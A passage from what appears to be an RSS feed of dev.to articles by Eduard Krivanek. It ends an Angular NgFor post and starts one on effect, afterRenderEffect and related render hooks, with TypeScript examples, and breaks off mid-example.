    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Bob&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hi&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="nf"&gt;loadOlder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;older&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;System&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Message: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([...&lt;/span&gt;&lt;span class="nx"&gt;older&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;()]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsg0jlk9u1ftxkjvb7v8.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsg0jlk9u1ftxkjvb7v8.gif" alt="NgFor Using Index With New Data" width="800" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hope you liked the article, feel free to share your thoughts, catch more of my articles on&amp;nbsp;So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on &lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on &lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; or check my &lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>frontend</category>
      <category>performance</category>
    </item>
    <item>
      <title>afterRenderEffect, afterNextRender, afterEveryRender &amp; Renderer2</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Tue, 16 Sep 2025 18:13:05 +0000</pubDate>
      <link>https://dev.to/playfulprogramming-angular/afterrendereffect-afternextrender-aftereveryrender-renderer2-106o</link>
      <guid>https://dev.to/playfulprogramming-angular/afterrendereffect-afternextrender-aftereveryrender-renderer2-106o</guid>
      <description>&lt;p&gt;Recently I’ve been playing around with some Angular functionalities, which are: &lt;code&gt;effect&lt;/code&gt;, &lt;code&gt;afterRenderEffect&lt;/code&gt;, &lt;code&gt;afterNextRender&lt;/code&gt;, &lt;code&gt;afterEveryRender&lt;/code&gt; and &lt;code&gt;Renderer2&lt;/code&gt;.  You don’t see them used much compared to signals or computed. Maybe only &lt;code&gt;effect&lt;/code&gt; is more common, however how and when to use the rest? &lt;/p&gt;

&lt;p&gt;I wanted to write about them because I kept mixing them up myself, therefore this post is as much for me as for anyone else. I want to touch on each of them, look at some examples, how they differ, and also check how they behave with SSR. The article was originally posted on &lt;a href="https://www.angularspace.com/afterrendereffect-afternextrender-aftereveryrender-renderer2/" rel="noopener noreferrer"&gt;Angular Spaces&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using &lt;code&gt;effect&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://angular.dev/guide/signals#reading-without-tracking-dependencies" rel="noopener noreferrer"&gt;The &lt;code&gt;effect()&lt;/code&gt;&lt;/a&gt; will run at least once and then every time the dependency signal (or multiple one) changes. A shameless plug to my &lt;a href="https://www.angularspace.com/senior-angular-interview-questions/" rel="noopener noreferrer"&gt;Senior Angular Interview Questions&lt;/a&gt;, I talked about the diamond problem in RxJS and how it’s not present in signals. Meaning if you have an effect with multiple signal dependencies and you update those signal, one after another, then the &lt;code&gt;effect&lt;/code&gt; will still run only once, since signals are synchronous compared to Observables which are asynchronous and the logic could be re-executed multiple times, causing side-effects.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;effect&lt;/code&gt; when you want to bridge the gap between a reactive state (signals) and a non-reactive execution. Use cases which you hear many times are mainly DOM updates, logging, or even executing a &lt;code&gt;fetch()&lt;/code&gt; API call to the server. Other less common examples may be for example local storage updates, analytics tracking, chart data updates or setting loading state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// state of the used theme&lt;/span&gt;
&lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dark&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// track what page we are on&lt;/span&gt;
&lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;currentPage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;home&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// data to render a chart&lt;/span&gt;
&lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;chartData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="c1"&gt;// loading state of the app&lt;/span&gt;
&lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;loading&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// change theme &amp;amp; save it&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;theme&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// sends data to a 3rd party&lt;/span&gt;
    &lt;span class="nx"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trackPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;currentPage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// updates values in the chart&lt;/span&gt;
    &lt;span class="nf"&gt;updateChart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chartData&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// dependency to listen to&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chartData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chartData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nf"&gt;untracked&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When it comes to SSR, you have to be a bit careful with &lt;code&gt;effect()&lt;/code&gt;. It also runs on the server, at least once (even if dependencies are &lt;code&gt;undefined&lt;/code&gt;), and then all the time when its dependencies change. An empty effect is also executed: &lt;code&gt;effect(() =&amp;gt; console.log('Empty effect'));&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgm663o89b8ycrz4w11n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgm663o89b8ycrz4w11n.png" alt="Empty Effect" width="632" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In SSR you don’t actually have a browser, so there’s no &lt;code&gt;window&lt;/code&gt;, &lt;code&gt;document&lt;/code&gt;, or localStorage. If you drop DOM calls or browser APIs directly into an effect, it’ll throw during the server render. The trick is to only use &lt;code&gt;effect()&lt;/code&gt; on the server for things that are safe in a Node environment. Anything that touches the DOM should be wrapped in something like &lt;code&gt;isPlatformBrowser&lt;/code&gt; or pushed into &lt;code&gt;afterRenderEffect&lt;/code&gt;, which runs only in the browser after Angular has finished painting. &lt;/p&gt;

&lt;p&gt;Another point worth highlighting is cleanup function - &lt;a href="https://angular.dev/api/core/EffectCleanupFn" rel="noopener noreferrer"&gt;&lt;code&gt;EffectCleanupRegisterFn&lt;/code&gt;&lt;/a&gt;. Just like in RxJS where you unsubscribe from a stream, &lt;code&gt;effect()&lt;/code&gt; also gives you a way to tear things down when the effect is destroyed. This is helpful when wiring up elements like event listeners, intervals, or external libraries that require explicit cleanup. &lt;/p&gt;

&lt;p&gt;It's the first available argument in the &lt;code&gt;effect()&lt;/code&gt; function. There is no naming convention, it will work with any name, but most developers call it &lt;code&gt;onCleanup()&lt;/code&gt;. Use it inside your effect to make sure you don’t leak memory or leave hanging listeners when the component goes away. It’s easy to forget, but in larger apps, this can save you from nasty performance issues.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-resize-listener&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;p&amp;gt;Window width: {{ width() }}&amp;lt;/p&amp;gt;
  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ResizeListenerComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// reactive signal that stores the current width&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;onCleanup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updateWidth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;resize&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="c1"&gt;// cleanup when effect is destroyed&lt;/span&gt;
      &lt;span class="nf"&gt;onCleanup&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;resize&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Using &lt;code&gt;afterRenderEffect&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;afterRenderEffect&lt;/code&gt; is more preferable for DOM updates, browser APIs, or integrations that don’t make sense on the server (like canvas drawing, chart rendering, or measuring element sizes). It is executed after Angular has painted the view in the browser. From the first examples, you could say that updating data in charts is better suited for the &lt;code&gt;afterRenderEffect&lt;/code&gt; since we are performing a DOM update.&lt;/p&gt;

&lt;p&gt;When you open up the &lt;a href="https://angular.dev/api/core/afterRenderEffect" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for this function, Angular team highlights that “&lt;em&gt;You should prefer specifying an explicit phase for the effect instead, or you risk significant performance degradation.&lt;/em&gt;”&lt;/p&gt;

&lt;p&gt;In real life, you may have an example of displaying a PDF file to an user and you want to track (in percentage) how far he has scrolled in the document. One of the (many) ways how to achieve this behavior is the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;div #divTop style="height: 20px; position: sticky; top: 0"&amp;gt;&amp;lt;/div&amp;gt;

    &amp;lt;div #divRef style="height: 400px; overflow: scroll"&amp;gt;
      &amp;lt;!-- this is the PDF --&amp;gt;
      &amp;lt;div style="height: 3000px; background: red"&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;divRef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;divTop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;scrollPercentage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;toSignal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;toObservable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
      &lt;span class="nf"&gt;switchMap&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;fromEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scroll&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;            
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clientHeight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientHeight&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrolled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;clientHeight&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
            &lt;span class="p"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;scrolled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
